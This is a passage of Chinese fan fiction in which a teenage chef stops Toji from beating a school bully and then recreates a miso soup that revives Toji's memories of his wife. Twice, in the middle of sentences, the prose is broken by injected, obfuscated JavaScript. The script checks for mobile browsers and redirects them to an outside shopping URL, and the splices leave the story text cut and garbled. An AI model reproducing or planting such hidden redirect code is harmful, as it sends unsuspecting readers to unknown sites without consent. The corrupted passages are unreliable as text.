栗秋焰头也不回,佐藤忙跟上他,在身后讨好般恳求道:“真的,您起码听听看?这个事情我只能指望您,那些报道我全看了,只有您,‘暴君’、‘魔王与神女之子’、‘启明的烁光晨星’、‘不落的梦魇’……” “停止。”栗秋焰面无表情地抬手打住:“这儿站不下这么多人。” “可是……” 栗秋焰叹了口气,无奈道:“算了,先说来听听。” “太好了!”佐藤大喜过望:“其实是有一所学校……” 手机铃声突然响起,打断了佐藤的话。 栗秋焰给了佐藤一个眼神让他稍等,抬手接起:“喂?” “哥哥!”伏黑津美纪的声音慌乱地响起:“你快来学校,大事不好了,叔叔打人了!” “意料之中。”栗秋焰很淡定:“不过甚尔他竟然是光明正大打的么,我还以为他会套麻袋。” “不是,叔叔快把人打死了!” “啊?”栗秋焰脸色严肃起来:“到底怎么回事?”甚尔不像是这么掌握不好分寸的人啊。 “说来话长……一开始叔叔还挺正常的,但有些冲突,反正就这样那样,然后佐藤老师骂了一句,说小惠是没有妈妈教养的孩子。接着叔叔就……炸了。他把所有保安都打趴下了,一副要弄死佐藤老师的样子。” 栗秋焰:“……那你怎么现在才给我打电话呢?” “因为之前都跟小惠没关系啊。”伏黑津美纪慌乱道:“但现在小惠上去拦了!” “啊?” 栗秋焰话音未落,电话那头就传来一声尖叫,栗秋焰下意识将手机拿圆,但即使他没开公放,佐藤老师清晰至极的怒吼仍然透过话筒传了出来—— “我告诉你,我就骂了又怎样,你敢在这里动手打我,你就已经完蛋了——我爸是这个学校的校长!” 栗秋焰转过头,看到佐藤明显认出了这个声音,本来笑开花的脸瞬间变青了。 那头的声音还在不依不饶地响着。 “还有你个没妈的小子,别以为我会感谢你,还有那边那个,是你姐姐是吧?哈哈,我保证,以后不可能有任何一家学校收你们——给我退学,滚去当一辈子贱民吧!” 砰的一声巨响,似乎是津美纪的手机被打掉了。又是一阵嘈杂,电话被挂断,只有一声接一声嘟嘟的忙音。 佐藤的脸青了又紫,紫了又青,最后定格成酱紫。 “……我这是和退学杠上了吗。”栗秋焰感叹了一声,顺带抬起眼看了佐藤一眼:“不过,世代教育、与人为善?” 佐藤的脸又从紫变红,唰得一下给栗秋焰深深鞠了个几乎对折的躬。 “外面有车,您和我一起。”佐藤一字一句几乎是咬着牙蹦出来:“……我们现在就去!” 而在学校那头,津美纪不顾手掌肿痛,慌张地从几个故意踩过的人脚下抢救出手机,但却怎么都按不亮屏幕。 那边,甚尔看着挡在面前的伏黑惠,眯起眼。 “他都这么说了,你还要保他?”甚尔反手握住一节扭曲的栏杆,淡淡道:“闪开。” “……我不是要保他。”伏黑惠倔强地盯着甚尔,几乎是爆发般喊道:“你从来没管过我!你也不关心我!结果只是一下,你就把一切都毁了——你还记不记得,这是我的学校!你现在要在我的学校里杀人!你考虑过我的感受吗?!” 甚尔握着栏杆的手指颤抖了一下。他凝视着惠的脸,沉默了片刻。 他的手指颤抖得越来越厉害,甚尔猛地拧转手腕,将栏杆牢牢抓住。 甚尔看向惠,张了张嘴,似乎有话想说,但还是没说出口。 “……闪开。”最后,甚尔只是这么重复道。 伏黑惠瞪大眼睛,接着深吸了一口气,似乎在压抑着愤怒,用更大的声音顶了回去。 “我不!” 伏黑津美纪倒吸了一口凉气,急得团团转却毫无办法,索性一闭眼开始在心中急切祈祷。 栗秋焰哥哥,你到底在哪,快点来救人啊啊啊啊——! 23.然后他们就回家吃饭了 学校内。 父子两人僵持着,甚尔面无表情地看着惠。片刻后,他肩背的肌肉起伏,将那根反手握在身后的铁管横至身前。 那原本是学校门口的栏杆,光直径便足有掌粗,被这个强到离谱的男人随手拔起用作武器,轻松得像折断一根抹茶巧克力棒。 而此时那根霉绿沉厚的实心铁管上,清晰的掌痕凹陷而下。几乎整个学校的人都在附近,黑压压的人头此刻却鸦雀无声。 仿若实质的恐怖压迫感中,原本嚣张的佐藤像被掐住了脖子的鸡,叫嚣的声音戛然而止。 在这令人窒息的压力下,惠分毫不退,手指结印,一黑一白两条玉犬从影中跃出,立于身侧。 瞬间,甚尔动了。 跟上次在狭小的室内完全不同,玉犬疾速全力向前扑咬,刚刚露出牙齿,眨眼间甚尔就已出现在身后,右手持管松握,向后随意一抡。 巨力圆扫而来,两只玉犬刚要扭身,便瞬间被拦腰击中,飞向半空。 惠瞳孔缩小,与漠然垂眸的甚尔对视了一眼。 太快了。 连大脑都无法反应过来的快。更别提做出什么行动了。 战力根本不是一个等级。连蚍蜉撼树都算不上,种种心情交织而爆发而出的努力,只是一粒被无情碾压过的微尘。 甚尔越过惠,余光却看到男孩红了眼圈。 他顿了一下,原本要敲昏男孩的手重重落下,却只胡乱捏了一下小孩后颈的皮肉。 “唔……!” 惠捂住后脖猛地回头,却只看到甚尔站在佐藤身前,一动间手滑握至管梢,铁管圆抡而起。 “——爸!” 使尽浑身解数也无法做到的事,在这简单的一声中却成功了——甚尔的手犹豫了一瞬。 但紧接着,那根铁管还是毫不留情地用力挥下。 所有人都下意识闭上了眼。谁都知道,这一下下去,必定是脑浆迸裂、鲜血四溅的可怖场景。 但想象中的闷响并没有到来。 出现在众人耳中的,是少年平静清澈的声音。 ——“领域展开。” 惠猛地抬起头,看到栗秋焰单手揣兜,从不远处悠然行来。 绿眸的少年面容柔和、身形清瘦,明明没什么恐怖的气势,却奇异地消解了甚尔一系列暴|行带来的压力,他走入人群仿若摩西分海,人们纷纷退后,下意识让出了一条通路。 栗秋焰畅行无阻地走了进来,津美纪从人群中扑了出来,眼睛发亮地喊了一声哥哥。 惠呆呆地看着栗秋焰走近,接着仿佛劫后余生般,长长地舒了一口气。他说不出什么话,明明见到栗秋焰就安心了下来,却莫名有些委屈上泛,同样喊了一声:“栗秋哥哥。” “好啦,我这不是来了吗。” 栗秋焰笑着一人揉了下脑袋,接着脚步不停,维持着这样的笑容来到两人之间。 甚尔冷冷地看着他。 握着铁管的手臂肌肉膨起,刻在管上的掌印更深地凹陷下去,捏得实心的铁管变形成扁圆。 甚尔没有收手。那根铁管贴在佐藤的脑袋上,用力之大连铁管本身都在颤抖,将太阳穴那一片擦得通红,却就是不得寸进一步。 栗秋焰伸出手,如穿花分叶般,手掌轻巧地游入佐藤太阳穴与铁管之间,而铁管被无形的力量逼得步步后退。 他指尖并起轻松一弹,甚尔的手臂则猛地一震。 栗秋焰眯起眼。甚尔哼了一声,转过头去,顺势松手,将铁管往旁边一扔。 铁管咚一声落地,佐藤缓缓瘫倒着滑下,浑身抖如筛糠,脸上涕泗横流,啊了半天一个成型的词都说不出来。 “不是说要注意分寸的么?”栗秋焰微笑着柔和道:“让我放心?嗯,这就是你让我放的心?” 甚尔扭着头不看他,半晌后不耐烦地啧了一声。“……吵死了。” 栗秋焰瞬间变脸,那只一直揣在兜里的手拿出,只见那手中握着的,赫然是无上武器——擀面杖! “吵、吵、吵!还嫌上我吵了!”栗秋焰抄起擀面杖就往甚尔头上敲,说一个字就敲一下,怒道:“昨天怎么答应我的!不是说什么都做吗!合着你的承诺就是上下嘴皮一碰是吧!” 甚尔:“……” 虽然没有额外附加概念,但身为长期颠锅饱受训练的厨子,栗秋焰有的是力气和手段。清脆的咚咚声,听得惠都下意识倒吸凉气。 但不知是出于什么原因,甚尔硬是忍住了身体本能没躲,受了好几下,很硬汉地撑在原地,连头都没捂。 栗秋焰停下,甩了甩自己被反震得有些发麻的手,自然而然地把擀面杖塞回口袋——惠瞪大眼睛,硬是没看出来他怎么塞进去的。 “过来。”栗秋焰回身招了招手。 津美纪开心地跑来,伏黑惠则愣了一下,也听话地贴过去。 “好了。”栗秋焰一手领俩小孩,另一手拍了拍甚尔的肩,淡定道:“道个歉,这事儿就过去了。” 甚尔嗤笑一声,双手抱胸,表现出桀骜不驯的充分抗拒态度。他不屑道:“我道歉?别开玩笑了,他能活下来都是老子大发慈悲。” 此时佐藤终于回过神来,滑稽的脸上全是恐惧。但他看了一眼不远处围观的人,还是强撑着一口气道:“对,给我道歉,这件事我就算放你们过去了……” “说什么傻话呢。” 栗秋焰挑起眉:“我说的是你——趁我还在好好跟你说话,识相点,给我们道歉。” 伏黑惠惊喜地抬头,甚尔也扫了他一眼。 佐藤卡壳了一下,过了半晌,迟钝的大脑才终于理解了栗秋焰话中的意思,随即不可置信地大叫起来:“我、我道歉?!我都快被他杀了——竟然还要我道歉?!” “不然呢?”栗秋焰理所当然地奇怪道:“事情完全是你挑起来的,当然该向我们道歉了。至于被打,不是你活该的吗?如果不是看出了你平时就欺负惠惠,甚尔也不会一怒之下这么冲动吧。” 被狠狠踩到雷区是一方面,但要不惹麻烦悄无声息地杀掉有一万种方法……虽然容易被人误解,但身为杀|手的甚尔行事当然也具备细心谨慎的一面。 栗秋焰推测,他冲动的怒火恐怕也有一部分,来源于察觉到的,这个所谓的老师对待惠的恶劣态度、以及造成小孩长期以来糟糕人际处境的可能原因。 甚尔惊了一下,怔怔地回头。 “别这么看着我,我一直擅长相信他人——当然,也包括你。”栗秋焰笑了一下:“而且体察人心可是我的强项,我可是栗秋焰呢。” 甚尔眼神微动,向下却正好对上惠瞪得圆圆的眼睛。 “真的吗?”惠急切道:“哪怕只有一点点……你真的,为了我?” 甚尔移开了视线。 “……多事。小子,别一副多了解我的样子。”甚尔闷声道。 但沉默了片刻,他烦躁地抓了抓头发,从喉咙里发出一声模模糊糊的,默许惠问题般的应声:“啊。” 惠还没反应过来,栗秋焰已经先笑了,再次拍了一下甚尔的肩。 “好啦。”栗秋焰轻松道:“可能有时候,有人除了暴力一无所有,便总想用这种方式解决问题。但也有的时候,总会有些别的办法——比如说,有我。” 佐藤还在那边不可置信地叫着,栗秋焰走到他面前,佐藤混乱的骂声戛然而止,呆呆地仰头看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13959150|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栗秋焰笑了一下。 接着,他抬起鞋,狠狠一脚踩在了佐藤后脑上! 佐藤被迫脸朝下趴伏在地上,结结实实地磕了一个标准的土下座。 “我说过,趁我还在好好说话,就识相点吧。” 栗秋焰一脚踩在佐藤的头上,云淡风轻地笑了笑,开口道。 “给我跪下道歉,搞霸凌的渣滓。” 佐藤僵了一下,随即羞恼气愤地拼命扭动挣扎起来。 “你怎么敢!我爸爸可是这所学校的校长——” “我恨不得没你这个儿子!” 一个中年男子气喘吁吁地拨开人群,健步如飞地走上前拎起地上的佐藤,不由分说就是两个耳光! 佐藤傻了,“爸,你怎么……” “我不来还得了!我不来我都不知道——你平时就是在外面这么败坏我们佐藤家的名声的!”佐藤校长发怒道:“你的‘事迹’,来的路上我可是听到不少啊!” “不、对不起、我……” “向我道什么歉!等我核实后,你给我上门,向那些学生一个一个鞠躬道歉去!至于现在——”佐藤校长咬牙往他头上一下:“给我向栗秋先生道歉!” 佐藤看向栗秋焰,又看向伏黑惠,迟疑了一下——他隐约记得,这对姐弟,不是姓伏黑吗? 但看他迟疑,佐藤校长立刻又是一下,厉声催促道:“快啊!” 佐藤顿时弯下腰,低声道:“万分抱歉——一切都是我的错,对不起!” 伏黑惠愣愣地看着平时冷漠刻薄的老师,这样用力地弯下腰向自己道歉,一种万分复杂的情绪涌至胸口。 “我……”惠小声地开口。 “惠惠,不原谅也可以哦。”栗秋焰蹲下来,摸了摸他的头:“原谅是你的权利,不是义务。想说的时候再说就行啦。” “……嗯!” 伏黑惠用力地点了点头。 “哥哥……” 两个小孩抱住栗秋焰的肩,头靠在他的脖颈,像是深冬的旅人偎依着篝火。甚尔在旁边斜眼看了一眼,嗤了一声,伸手摸兜却掏了个空,他顿了下,不知跟谁负气般,抱起胸仰头不爽地看着天空。 “栗秋先生,你看这个处理……”佐藤校长试探道:“而且,后面孩子如果想转学的话,我也都能解决。所以那个事……” “唔,不是给你号码了么,后面聊。”栗秋焰说:“我现在有更重要的事要做。” “……什么?” “当然是……” 栗秋焰站起,像刚才那样一手领俩小孩,另一手顺手拍了下甚尔的肩,露出了爽朗的笑容。 “当然是——”栗秋焰豪气万分地一挥手:“回家吃饭!” “好哎!”惠和津美纪都欢呼着一同举起手。 “……一群小鬼。”甚尔嘁了一声。 “晚饭前,先今天第一次尝试复刻味噌汤。”栗秋焰说。 甚尔立刻放下手,正了正脸色,铿锵有力道:“好!” 栗秋焰哈哈笑了起来。 ……不过一会儿后,他就笑不出来了。 一声轻响,一碗热腾腾的味噌汤被放在桌上,甚尔坐在桌前,桌边三张严肃的脸如临大敌般盯着。 甚尔拿起勺子,小心翼翼地喝了一口。 “怎么样?”惠下意识紧张道。 “嗯……”甚尔皱起眉:“不对。” “不对?哪不对?”栗秋焰立刻站了起来,“鱼不对?水不对?味增不对?还是蔬菜不对?缺什么味道,甜了咸了还是不够鲜……” “都不是。”甚尔说:“太……好吃了。” 栗秋焰:“……” 栗秋焰:“哈?” 24.记忆中的味增汤·初 味增汤,经典的霓虹传统料理。 烹饪过程十分简单,真要说的话,就是蔬菜豆腐菇类等配菜煮汤,几乎大部分味道都来自于汤中打散加入的味增。 光从味增的原料上来说,就有米味增、豆味增、麦味增三种不同的种类,在此基础上又有白、赤、黄三色,风味各异,对于栗秋焰的舌头来说,甚至能尝出不同产地风味的细微差异。 而味增汤的配菜更是几乎没有定型,可能这家放舞菇,那家就放滑子菇;有人放嫩豆腐,有人放老豆腐……总之,正因为太过于“国民性”、搭配组合太过多样,所以在什么情报都没有的情况下想要复刻一道特定的味增汤,简直是天方夜谭。 自然,栗秋焰也做好了相应的心理准备。他先普通做了一道味增汤,准备根据甚尔的反馈,一步步改进调适直到成功复刻。但现在…… 栗秋焰:“你要不要听听看你自己在说什么?” 他自认做了十几年饭,心早已像杀鱼刀一样冷,有着充足的自信无论遇到什么都波澜不惊……但太好吃了是什么鬼?! “就是……太好吃了。” 甚尔拧着眉,表情有些纠结,他咬着勺子,含糊地在“太”那个字上加重了语气。 “她的虽然好吃,但好吃得很……乱七八糟。打个比方,就像之前我说过,她的汤冷掉就会变腥,非常难喝。”甚尔紧皱着眉,努力道:“但你做出来的这碗,即使冷掉了也会很好喝吧?——好吃得太过头了啊。” 栗秋焰如遭雷击,摇摇欲坠,一把按住桌角才稳住身形。 “哥哥……”津美纪小声道:“桌子、桌子在响……要裂开了……” “不,裂开的不是桌子。”栗秋焰沉重道:“是我厨子的尊严。” 身为千年一遇的天才厨子,他长这么大,从来没有被人否定过料理! 砰! 众人一惊,栗秋焰一掌拍在桌上,身后仿佛燃烧起熊熊烈火。 “那具体是哪里太好吃了?”栗秋焰紧盯着甚尔:“是配菜搭配的味道太融洽?食材口感太高级?火候太好?对了还有味增……太鲜?太柔和?太完美?” 不就是方向产生了点变化吗,往好吃改可以,往难吃改难道就不行吗!就这么点东西,他还就不信了,只要说出来,他统统—— “不记得了。”甚尔说:“就是感觉太好吃了。” 栗秋焰:“……” “啊啊啊啊啊!别拦着我,我要掐死他!” “哥哥!”惠和津美纪一左一右拼命拉住他,“冷静点,哥哥!你要是受伤怎么办!” “……喂,讲点道理。”怕触发身体的本能反应,甚尔甚至把双手举了起来,此刻声音都闷了:“现在被掐着脖子的不是我吗?” “你无所谓。”惠说:“你死不了。” 甚尔:“……咳、咳咳,喂!栗秋焰,别再用力了!” 这小孩怎么回事,看着瘦得一只手都能拎起来,但这手劲……真不是开玩笑的啊! “不行,这解决不了问题。” 栗秋焰突然冒出一句,松开了手。 “哥哥,没事吧?” 津美纪捧起栗秋焰皮儿都没破的手,心疼道:“都红了。” “怎么,你还怕老子的皮厚硌着他的手了?是他掐老子,他能有什么事!” 甚尔嘶了一声,边揉着脖颈边抬起眼瞥过去:“喂,冷静点了没?” “嗯。” 栗秋焰看起来很冷静。 “人死了舌头就死了,尝不出味道也改变不了想法。我不能容忍我的世界第一厨子生涯,留下你这个污点!——我就不信了,必须让你心服口服!” 他一把掐住甚尔的下颌,绿眸威胁地逼视道:“给我想!哪怕是一点点沾边的、模糊的,都给我说出来!” 起码也得有个方向吧!太好吃了这种描述鬼能复现出来啊! “……你管这叫冷静么。” 虽然这么说了,但这件事上甚尔出奇的好说话,他眉头皱起,视线逐渐放空,看起来很努力地辨别回忆:“我……” 甚尔沉默了片刻,最终还是挫败地松开了眉头。“不行,完全想不起来。” 栗秋焰观察着他,突然挑起眉。 “我知道了。”栗秋焰说:“舌头伸出来。” 甚尔:“?” 他虽然疑惑,但还是照做了。 栗秋焰仔细地看着舌苔,接着手一抬,按上了他的手腕。 甚尔下意识一挣,但又反应过来停下了动作,只是肌肉仍紧绷着。 栗秋焰没在意这些,只是得到了自己想要的信息。 “你这家伙,怪不得只能说‘感受’,‘味道’的差异一点都说不出来……”栗秋焰叹了口气:“你喝了太多酒,舌头几乎完全废掉了啊。” 甚尔的表情先是僵了一下,接着反应很大地突兀抬手,啪一下拍掉了栗秋焰捏着自己下颌的手。 “放屁!”甚尔粗声说:“老子最讨厌的就是酒!” 伏黑姐弟两人被甚尔的突然暴起吓了一跳,但直面这无名怒火的栗秋焰,只是仿佛早有预料般,平静地注视着他。 那双眼睛,对,最讨人厌的就是那双眼睛。甚尔盯着栗秋焰,浑身肌肉绷紧,恨恨地咬牙。一副仿佛看透了什么般,淡然得令人烦躁的架势。可笑!你能懂什么,你什么都…… “为什么讨厌呢?” 平淡的一句话轻轻落下,甚尔却猛地一顿,肉眼可见地怔住了。 栗秋焰叹了口气。 “只有亲口尝过,才能知道‘讨厌’吧?而一般‘最讨厌’酒的,只有两种人。一种是和我的一个笨蛋同学一样一喝就醉的……和怎么喝,都没办法喝醉的。” “你是哪一种呢?” “我、我……” 甚尔微微张开嘴,又猛地闭上。他嘴角的那道长疤颤抖起来。 “如果是后一种的话,又是何种情况下,才得以发觉的呢。” 栗秋焰轻声说着。 他沉默地注视着。在这寂静的对视中,栗秋焰仿佛透过眼前人的颤抖,触及到某种隐秘的过去——劣质的酒瓶胡乱滚在四周,甚尔通红着眼浑身酒气,粗暴地一瓶接一瓶地往下灌着酒,没有品尝也无所谓解瘾,他只是机械地牛饮般咽着,以求酒精带走意识。 可惜他最终还是没能逃避痛苦。于是从那之后,他就开始讨厌酒了。 “那么,到底是为什么呢?”栗秋焰喃喃道。 甚尔那张发怒的脸慢慢收紧,拳头攥紧到青筋暴出,暗绿的眼睛闪动着。明明是极危险的蓄势待发的状态,但栗秋焰直直与他对视着,发现他的眼底深处却像纸上墨点般,缓缓洇湿出一点仓惶的痛苦。 “我不……记得了。” 甚尔捏紧的拳头松开了。他的气势跌落下去,像是患病后离群的狼王,眉眼间虽仍撑着凶狠的戾气,但却难掩疲惫的病痛——一种他甚至不知发源何处的,茫然的疼痛。 甚尔喘息着,重重跌坐回椅子上,怔怔地注视着那碗味增汤。 他动了动手指,将那碗仍有余温的汤喝完了。 “抱歉啊。”甚尔闭上眼,仿佛无意识般低声重复说:“但我,真的什么都不记得了。” 空气寂静下来。 栗秋焰的视线一直停在甚尔身上。像是一滴雨水落在屋檐下,听到了模糊的回声般,他的手指动了动,似乎被同样一种遥远的疼痛所触动。 “还没结束。”栗秋焰说:“这才只是第一次。别小看我,我可是天才厨子!区区he,等我做出那道味增汤,不就什么都好起来了吗!” 甚尔眼中的光一亮,接着又消逝。 “……你尽力了,栗秋焰。我承认,你是我见过最有天赋的厨师。”甚尔攥紧勺子:“是我……” 滴水声越发急促地落下,母亲的声音模糊而柔软地从回忆中响起。“阿焰,你是妈妈见过最有天赋的孩子。一定记得,要好好珍惜自己的天赋啊。长久不用的话,上天可是会收走的哦。” “这不是一直在用嘛。我这眼睛鼻子舌头,比你们都厉害多啦,今早上那道新菜,不还是我试出来的?” 记忆中自己的声音洋洋得意地说着。但母亲却笑了。 “并不是那样的东西啊,阿焰。只是这种普通的‘天赋’,我和你爸爸不也都有吗?” “那是什么?” “是爱啊。” 母亲的声音似波纹般,慢慢消隐在淅沥的雨声中。 “你是天生懂爱的孩子。这是真正的,千年难得一遇的……天赋……” 雨声骤停,栗秋焰脑海中灵光一闪。 “我明白了!” 他嗖地站起来,旁若无人地急匆匆跑进厨房,又在剩下三个人愣神的目光中咚咚咚跑回来,抓起两个小孩就往厨房跑。 “哎、哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13959151|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是,你明白什么了……等等,栗秋哥哥!” 惠稀里糊涂地一边跟着跑一边喊道。 栗秋焰一个急刹停在灶台前,低下头十分认真道:“等会我开始做饭时,你们两个就用尽全力干扰我,跑、跳、拽拉……反正想到什么就做什么,听到没有?” “诶?” “我明白了,是我想偏了。我光是想着那些食材、调料、过程……但却忘记了,料理又不是孤立存在于世界上的,最重要的,是人啊!” 我连做料理的人都看不见,不去试图理解,怎么可能成功复现出她的料理呢! “所以我就想,先尽可能地去尝试贴近那种‘普通’的状态。”栗秋焰指了指自己:“但我一旦开始烹饪,就会自动进入那种心神合一的心流状态……即使跟我聊天也打破不了。但怎么想,你妈妈也不会是这种烹饪状态吧?” 惠愣愣地点头。 “对嘛!而且我一家也都是厨子,所以现在才反应过来……我家才是少数,大部分人别说心流了,可能连专心致志投入烹饪的时间和精力都没有。更何况,你妈妈的丈夫可是……” 栗秋焰与惠对视了一眼,看了一眼甚尔。 “喂,我有在赚钱养家的。”甚尔忍不住道。 “没跑了,在操持家里杂事上完全帮不上忙啊这家伙。”栗秋焰小声蛐蛐:“好低质量的人类男性。” “而且现在连饭都做不了。”思维已经完全栗秋化的惠跟着点头,深有所感:“真的很没用。” 甚尔:“……” “所以我想让你们打扰我,把我强行拖出心流状态。我想努力……去理解。”栗秋焰认真道:“能做到吗?” “能!” “好,那第二次尝试,开始!” 仿佛取下了遮蔽在眼前的树叶,设身处境地去理解后,很多行为都自然而然。 “一番汁的昆布高汤……浸泡又冷藏,加热还有讲究。不对,去掉,换成普通高汤。” “舞菇……很贵吧,即使放也会珍惜用量,不会随便抓一大把……” “味增……” 手指微微用力,眼前仿佛浮现出一个青年女子同样提着漏勺,对着味增打散后,仍留着些碎豆子类不溶物的勺底沉吟。 “也加进去吧,不要浪费嘛。”勺子一翻,女子轻快地笑道:“这个也很有营养的哦。” 汤咕嘟咕嘟地冒出响声。 在栗秋焰的常识中,关火打散进味增后,转小火煮的味增汤,是绝对不能煮开的,因为那样会损失味增的鲜味…… “但你有时会煮开。为什么呢?” 栗秋焰喃喃地凝视着火焰,仿佛在和旧日的泡影对话。任一个外人在这,都会怀疑他的精神出现了问题,因为他不知道这个幻影的面容、身材、姓名,她从未与他相识,而他在与一个全然陌生的灵魂对话,甚至试图了解她。 甚尔在厨房看着,却不知为何不敢进入,只是在门外宛若梭巡的护卫般,来回踱步。 “哥哥就是这样的人。和我这种人,完全不同。”一个有点淡的声音响起:“你呢,叔叔。即使在过去,你有过这样想去了解你的妻子吗?” 甚尔一顿,低头看到津美纪黑发垂落的脸。他和津美纪几乎没有单独的交谈,而此时女孩不像平时那般刻意表现出温柔或可爱,表情甚至是有些冷淡的,她只是入神地盯着厨房中的栗秋焰,像是于寒冬中凝视火焰。 “哦,抱歉,我也差点忘了。”津美纪轻巧地走过他,“叔叔你,不记得了嘛。” 甚尔站在原地。 “……啊,我知道了。怪不得总在这时候走神啊。” 汤微微地滚开了。 香气飘散,在蒸腾的热气中,栗秋焰露出了微笑。 “原来如此。你在想……他什么时候回家。” 栗秋焰好笑地摇摇头,手指按上旋钮,火焰随着幻影最后一抹羞赧又俏皮的笑意熄灭,他把火关上了。 “好了,完成!” 栗秋焰抬起头来,将再一次煮好的味增汤,端到了桌上。 “试一试。”栗秋焰看着甚尔,“还有改进空间,我心里也大概有些其他想法……你先试试看,这一次,是不是接近多了?” 甚尔拿起勺子,看着鲜亮的汤不知为何迟疑了一下,但紧接着,他还是放入了口中。 他顿住了。 “我想起来了。”甚尔说。 25.十分有九分的不对劲! “想起来了?!” 两道声音同时惊喜地开口。 “妈妈去哪里了?” “菜谱到底是什么?” “……” 伏黑惠沉默地转头,栗秋焰理直气壮地回视。 “很遗憾,都没有。” 甚尔凝视着清亮的汤面,嘴唇微微动了动。味觉仿佛封存着记忆,一旦触及,便有悠远的时光清晰地浮现而出。 “我只是想起了……一部分。”甚尔说:“没有任何有用的信息……最清晰的,只是一小段和她在一起的回忆而已。” “哎,话不能这么说。”栗秋焰很淡定:“这碗汤能撬动你的记忆,说明我已经走在正确的道路上了。剩下的再来几次改进,肯定能完美复刻,到时你就全想起来了。” 栗秋焰露出了吃瓜的揶揄眼神。 “所以,到底想起了什么?说来听听?” 甚尔顿了顿,扫了眼故作镇静实则眼睛发亮的惠,又看了眼满脸期待的栗秋焰,啧了一声,最后还是吐了口气,开口了。 “先说好,我可不是什么会讲故事的人。”甚尔警告道:“听可以,要是露出什么让我不爽的表情,我就宰了你们。” “嗯嗯嗯。”栗秋焰推他:“说就完了,那么多话。” “……” 甚尔哽了一下,也没生气,沉默了片刻后,还是张开了口。 如甚尔所言,他并不是一个好的讲述者,语言干巴巴的,修辞和描写都匮乏。同样如他所言,这也并不是一个有趣的故事——甚至不能叫故事,只是平凡生活中偶然切下的一角剪影罢了。 那似乎是一场庆典的市集。 妻子不知为何兴致十分高昂,从下午就开始试穿那件淡米色的和服。平日里她一直很珍惜地收着,甚尔打着哈欠推开门时,就看到妻子正弯着腰,似乎是怕化妆品弄脏衣服,她脸几乎贴着镜子,身体却往后躲——用这种有点滑稽的姿势,小心翼翼地扑着脸上的腮红。 甚尔乐了,妻子被吓了一跳,转过脸来嗔怪地扫他一眼,接着又笑起来,扶着耳朵问他:“好看吗?” 她耳上别着一枝桃花。 说完后还没等甚尔回答,她就有点忐忑的紧张起来。 “果然有点奇怪吧,头发太短了,尝试了半天也别不进去,只好这样了。”她扯了扯和服的皱褶,发愁道:“长发也更配和服吧?要不要现在开始养长发呢,但我发质很硬,过渡期会很尴尬吧……” 甚尔忘记自己当时具体说的什么了。大概是“无所谓”“随你喜欢”之类的话吧。 那个庆典的市集也没什么特殊的。就像每个普通的市集一样,街道两边差不多种类的摊贩,人流有些拥挤,妻子乐此不疲地穿梭于各个摊位之间,金鱼捞、苹果糖、狐狸面具…… 甚尔不知道这些千篇一律的无聊游戏有什么好高兴的。不过当他在□□摊位上一枪精准命中,轻松拿下那个最大的玩偶后,感受着摊主的幽怨目光,听着妻子一连串惊喜又崇拜的夸赞,他又觉得还不错。 “啊,雏人偶,这里竟然有卖这个的。”妻子发出一声惊呼。 小巧的偶人们身着华丽复杂的十二单,一层层地端坐在架子上。 “好漂亮。”妻子说:“我从来都没有拥有过雏人偶呢……一个都没有……” “喜欢就买。” “……太贵啦。钱要攒起来为我们的未来考虑呀,更何况,以后还会有一个小小的新生命……” 妻子的手指留恋地抚过橱窗,指向最角落架子上的东西。“我要那个好了。” 那是一个玻璃球,似乎是宣传用品,球中夹着雏人偶的画片。人偶的笑颜透过玻璃有些夸张地失真,颜色和描形却十分细致,远远看去,好像真有一个偶人坐在玻璃球中。 “但那是非卖品,最后费了好大功夫才买回家。”甚尔抓了抓头发:“没了,就这些。我说过,没什么有意义的东西……” “这个还不叫有意义的话,我想不到什么是有意义了。”栗秋焰感叹道:“真是美好的回忆啊……要是忘记了,也太可惜了吧?” 甚尔并不是擅长讲故事的人,但栗秋焰却是擅长听故事的人。 这个琐碎的故事,除了黑发女子的一举一动,还有一样事物贯穿始终——一双眼睛。 那双眼睛,注视过她泛红的脸颊、耳上灼灼的桃花,注视过她的每一丝笑意、每一个眼神变化。它恒久而认真地注视着,没有顷刻偏离——那是甚尔的眼睛。 画面徐徐浮现而出,头顶是深邃广袤的天空,周围是浓郁深沉的夜,但就在这漆黑的夜中,一汪亮光跳跃着亮起。食物的香气与拥挤的人潮接踵而至,一抹灼灼的粉掠过,栗秋焰蓦然回首,看见黑发女子仰着脸,笑着向甚尔说着些什么。 灯火喧闹中,甚尔有一搭没一搭地应着,有些滑稽地夹着一个等身高的巨大熊玩偶,下意识地在人潮中护着妻子。 黑发女子完全没被挤到,畅通无阻地在摊位间窜来窜去——直到停在了雏人偶的摊位前。 “不好意思,这是非卖品。”店主抱歉道。 黑发女子的脸被人流挡住了,看不见说了什么。栗秋焰只看到甚尔脸上的表情变了,他有些烦躁地抓了抓头发。 甚尔叹了口气,蹲下来。 “喂,你真的不卖?”他开始生涩地试图讨价还价:“给你这个数,还不卖?” 甚尔蹲在人群中,那些令他隔离于人群的漠然的危险气质,像是被驯化的野兽般安分地服帖下来。黑发女子伏在他后背上,笑得灿烂。 一切都是明亮鲜艳的。鲜红晶亮的苹果糖、透明塑料袋中游动的金鱼、偶人华丽繁复的金红十二单……灯火摇曳,人们放声谈笑,在这漆黑的天地之间,盈着这么一汪粼粼的亮光。 清亮的光降下去,消失了——甚尔放下碗,他喝完了那碗味增汤。 